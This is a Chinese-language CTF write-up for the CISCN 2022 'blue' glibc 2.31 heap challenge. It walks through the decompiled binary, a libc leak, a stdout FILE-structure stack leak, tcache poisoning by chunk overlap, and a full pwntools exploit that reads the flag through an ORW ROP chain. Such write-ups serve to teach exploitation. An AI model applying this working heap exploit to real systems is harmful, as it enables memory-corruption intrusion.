# Ciscn_2022 blue
前言:一道 2.31 的 glibc 堆题(国赛将至,复现一下吧
# 了解程序
首先需要检查程序保护
# 保护全开
Ida 分析一下程序
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) | |
{ | |
int v3; // [rsp+Ch] [rbp-4h] | |
sub_1730(a1, a2, a3); | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
sub_18D5();// 菜单,无 edit | |
v3 = sub_12A8();//str_2_int | |
if ( v3 != 666 ) | |
break; | |
sub_1663(); | |
} | |
if ( v3 > 666 ) | |
{ | |
LABEL_13: | |
sub_1289("Invalid choice\n"); | |
} | |
else if ( v3 == 3 ) | |
{ | |
sub_14C5();//show | |
} | |
else | |
{ | |
if ( v3 > 3 ) | |
goto LABEL_13; | |
if ( v3 == 1 ) | |
{ | |
sub_138A();//add | |
} | |
else | |
{ | |
if ( v3 != 2 ) | |
goto LABEL_13; | |
sub_1592();//dele 无 UAF | |
} | |
} | |
} | |
} |
# sub_1730 (开启沙盒)
__int64 sub_1663() | |
{ | |
unsigned int v1; // [rsp+Ch] [rbp-4h] | |
if ( dword_4070 > 0 )// 只能使用一次这个函数 | |
{ | |
puts("ERROR"); | |
_exit(0); | |
} | |
sub_1289("Please input idx: "); | |
v1 = sub_12A8(); | |
if ( v1 <= 0x20 && dword_4180[v1] && qword_4080[v1] ) | |
{ | |
free((void *)qword_4080[v1]);// 存在 UAF | |
++dword_4070;//delete_count | |
return sub_1289("DONE!\n"); | |
} | |
else | |
{ | |
sub_1289("ERROR\n"); | |
return 0xFFFFFFFFLL; | |
} | |
} | |
int show() | |
{ | |
unsigned int v1; // [rsp+Ch] [rbp-4h] | |
if ( dword_406C > 0 )// 同样只能 show 一次 | |
{ | |
puts("ERROR"); | |
_exit(0); | |
} | |
puts_0("Please input idx: "); | |
v1 = str_2_int(); | |
if ( v1 <= 0x20 && dword_4180[v1] && qword_4080[v1] ) | |
{ | |
puts_0((const char *)qword_4080[v1]); | |
++dword_406C; | |
return puts_0("Done!\n"); | |
} | |
else | |
{ | |
puts_0("ERROR\n"); | |
return -1; | |
} | |
} |
void __fastcall __noreturn main(const char *a1, char **a2, char **a3) | |
{ | |
int v3; // [rsp+Ch] [rbp-4h] | |
int_secc(); | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
meau(); | |
v3 = str_2_int(); | |
if ( v3 != 666 ) | |
break; | |
uaf(); | |
} | |
if ( v3 > 666 ) | |
{ | |
LABEL_13: | |
a1 = "Invalid choice\n"; | |
puts_0("Invalid choice\n"); | |
} | |
else if ( v3 == 3 ) | |
{ | |
show(); | |
} | |
else | |
{ | |
if ( v3 > 3 ) | |
goto LABEL_13; | |
if ( v3 == 1 ) | |
{ | |
add((__int64)a1, (__int64)a2); | |
} | |
else | |
{ | |
if ( v3 != 2 ) | |
goto LABEL_13; | |
dele(a1, a2); | |
} | |
} | |
} | |
} |
可见程序只 ban 了 execve,还是比较简单的。
存在沙盒,一般我想到的是去利用 env 去泄露栈地址,然后再去劫持返回地址。
只需要将 orw 写到返回地址上即可。
# 思路规整
show 只有一次,那如何即去泄露 libc 地址,又去泄露 stack 地址呢?显然想要 show 两次是不合适。第一次 show 只能是泄露 libc,因为去泄露 libc 之后才能得到 env。
所以可以将 tcache 打满,然后利用 unsortedbin 去泄露 libc
for i in range(8): | |
add(0x80,b'Leaklibc') | |
add(0x20,b'gep') | |
for i in range(7): | |
dele(i) | |
# debug() | |
uaf(7) | |
show(7) | |
__malloc_hook = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 | |
libcbase = __malloc_hook - libc.sym['__malloc_hook'] | |
success(hex(libcbase)) |
而第二次我们需要去泄露 env,但是 uaf 和 show 都用过一次了,那如何去利用呢。
那么就需要去了解一下 IO_FILE 了,stdout。好好说话之 IO_FILE 利用(1):利用_IO_2_1_stdout 泄露 libc_libc 泄露方式 - CSDN 博客
这篇文章已经写的很详细了。
从此文中,我们可以将 fake 一个堆块到_IO_2_1_stdout,然后将其 Flags 改成 0xfdab1800
,再将 _IO_write_base 改成我们想泄露的地址的 起始地址
,最后把 _IO_write_ptr 和 _IO_write_end 改成泄露地址的 终点地址
即可。
但是程序当中已经没有 uaf,那如何在去控制 fd 去做我们的 fake_chunk 呢?
利用 tcache 去做是比较简单的。那如何去利用呢?
对,使用堆拓展攻击即可。
这是此时 bins 链表。所以我们需要修改一下泄露 libc 的代码,要不然无法进行堆拓展攻击
for i in range(9): | |
add(0x80,b'Leaklibc') | |
add(0x20,b'gep') | |
for i in range(7): | |
dele(i) | |
uaf(8) | |
show(8) | |
__malloc_hook = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 | |
libcbase = __malloc_hook - libc.sym['__malloc_hook'] | |
env = libcbase + libc.sym['environ'] | |
success(hex(libcbase)) |
接下来进行堆拓展攻击
dele(7) #置入 unsortedbin 内 | |
add(0x80,b'tcache') | |
# debug() | |
dele(8)#此时 unsortedbin 内包含这 tcache |
此时我们去申请一个 chunk 使其从 unsortedbin 拿取。所以申请个 0x70(size<0x110 且不能等于 0x80
dele(7) | |
add(0x80,b'tcache')#0 | |
dele(8) | |
add(0x70,p64(stdout))#1 | |
add(0x70,p64(0) + p64(0x91) + p64(stdout))#此时就会修改 tcache 的 fd 指针 #2 |
然后此时再去申请 0x80 的 chunk 就可以得到 _IO_2_1_stdout 的 chunk
add(0x80,b'nextptr')#3 | |
add(0x80,p64(0xfdab1800)+p64(0)*3+p64(env)+p64(env+8)*2)#4 |
pwndbg> dps 0x7ffff7fc26a0
00:0000│ rsi 0x7ffff7fc26a0 (IO_2_1_stdout) ◂— 0xfdab1800
01:0008│ 0x7ffff7fc26a8 (IO_2_1_stdout+8) ◂— 0x0
… ↓ 2 skipped
04:0020│ 0x7ffff7fc26c0 (IO_2_1_stdout+32) —▸ 0x7ffff7fc4600 (environ) —▸ 0x7fffffffdef8 —▸ 0x7fffffffe25e ◂— ‘SHELL=/bin/bash’
05:0028│ 0x7ffff7fc26c8 (IO_2_1_stdout+40) —▸ 0x7ffff7fc4608 ◂— 0x0
06:0030│ 0x7ffff7fc26d0 (IO_2_1_stdout+48) —▸ 0x7ffff7fc4608 ◂— 0x0
07:0038│ 0x7ffff7fc26d8 (IO_2_1_stdout+56) —▸ 0x7ffff7fc2723 (IO_2_1_stdout+131) ◂— 0xfc37e0000000000a /* ‘\n’ */
此时只要去执行一次 puts 或者 prinf 就可以泄露栈地址
dele_(3) | |
dele_(2) | |
add_(0x70,p64(0)+p64(0x91)+p64(stack_addr)) | |
add_(0x80,b'nextptr') | |
# debug() | |
pop_rdi_ret = libcbase + 0x0000000000023b6a | |
pop_rsi_ret = libcbase + 0x000000000002601f | |
pop_rdx_ret = libcbase + 0x0000000000142c92 | |
open_addr = libcbase + libc.sym['open'] | |
read_addr = libcbase + libc.sym['read'] | |
write_addr = libcbase + libc.sym['write'] | |
sendfile_addr = libcbase + libc.sym['sendfile'] | |
puts = libcbase + libc.sym['puts'] | |
flag_addr = stack_addr | |
payload = b'./flag\x00\x00' | |
# open('./flag', 0) | |
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) | |
# read(3, stack_addr - 0x200, 0x50) | |
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr) | |
# write(1, stack_addr - 0x200, 0x50) | |
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(write_addr) | |
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(3) + p64(pop_rdx_ret) + p64(0) + p64(sendfile_addr) | |
payload += p64(pop_rdi_ret) + p64(stack_addr - 0x200) + p64(puts) | |
add_(0x80,payload) | |
it() |
再次利用堆拓展攻击,申请到栈上,劫持返回地址进行 orw 即可
# 完整 exp
from LibcSearcher import * | |
from pwn import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# host, port = "47.103.122.127:30175".split(":") | |
# r = remote(host, int(port)) | |
# r = gdb.debug('./pwn') | |
r = process('./pwn') | |
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') | |
libc = ELF('./libc.so.6') | |
elf = ELF('./pwn') | |
# ld-linux-x86-64.so.2 | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
sea = lambda delim, data : r.sendafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda : r.recvline() | |
ru = lambda delims : r.recvuntil(delims) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
pack = lambda str, addr : p32(addr) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
it = lambda : r.interactive() | |
def meau(idx): | |
sla(b"Choice: ",str(idx)) | |
def add(sz,ct): | |
meau(1) | |
sla(b"Please input size: \n",str(sz)) | |
sa(b"Please input content: \n",ct) | |
def dele(idx): | |
meau(2) | |
sla(b"Please input idx: \n",str(idx)) | |
def show(idx):# only one | |
meau(3) | |
sla(b"Please input idx: \n",str(idx)) | |
def uaf(idx):# only one | |
meau(666) | |
sla(b"Please input idx: \n",str(idx)) | |
def debug(): | |
gdb.attach(r) | |
pause() | |
def add_(sz,ct): | |
meau(1) | |
sla(b"Please input size: ",str(sz)) | |
sa(b"Please input content: ",ct) | |
def dele_(idx): | |
meau(2) | |
sla(b"Please input idx: ",str(idx)) | |
for i in range(9):#0-8 | |
add(0x80,b'Leaklibc') | |
add(0x20,b'gep')#9 | |
for i in range(7):#0-6 | |
dele(i) | |
uaf(8) | |
show(8) | |
__malloc_hook = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 | |
libcbase = __malloc_hook - libc.sym['__malloc_hook'] | |
env = libcbase + libc.sym['environ'] | |
stdout = libcbase + libc.sym['_IO_2_1_stdout_'] | |
success(hex(libcbase)) | |
dele(7) | |
add(0x80,b'tcache')#0 | |
dele(8) | |
add(0x70,p64(stdout))#1 | |
add(0x70,p64(0) + p64(0x91) + p64(stdout))#2 | |
add(0x80,b'nextptr')#3 | |
add(0x80,p64(0xfdab1800)+p64(0)*3+p64(env)+p64(env+8)*2)#4 | |
stack_addr = u64(rc(6).ljust(8,b'\0')) - 0x128 | |
success(hex(stack_addr)) | |
# debug() | |
dele_(3) | |
dele_(2) | |
add_(0x70,p64(0)+p64(0x91)+p64(stack_addr)) | |
add_(0x80,b'nextptr') | |
# debug() | |
pop_rdi_ret = libcbase + 0x0000000000023b6a | |
pop_rsi_ret = libcbase + 0x000000000002601f | |
pop_rdx_ret = libcbase + 0x0000000000142c92 | |
open_addr = libcbase + libc.sym['open'] | |
read_addr = libcbase + libc.sym['read'] | |
write_addr = libcbase + libc.sym['write'] | |
sendfile_addr = libcbase + libc.sym['sendfile'] | |
puts = libcbase + libc.sym['puts'] | |
flag_addr = stack_addr | |
payload = b'./flag\x00\x00' | |
# open('./flag', 0) | |
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) | |
# read(3, stack_addr - 0x200, 0x50) | |
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr) | |
# write(1, stack_addr - 0x200, 0x50) | |
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(write_addr) | |
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(3) + p64(pop_rdx_ret) + p64(0) + p64(sendfile_addr) | |
payload += p64(pop_rdi_ret) + p64(stack_addr - 0x200) + p64(puts) | |
add_(0x80,payload) | |
it() |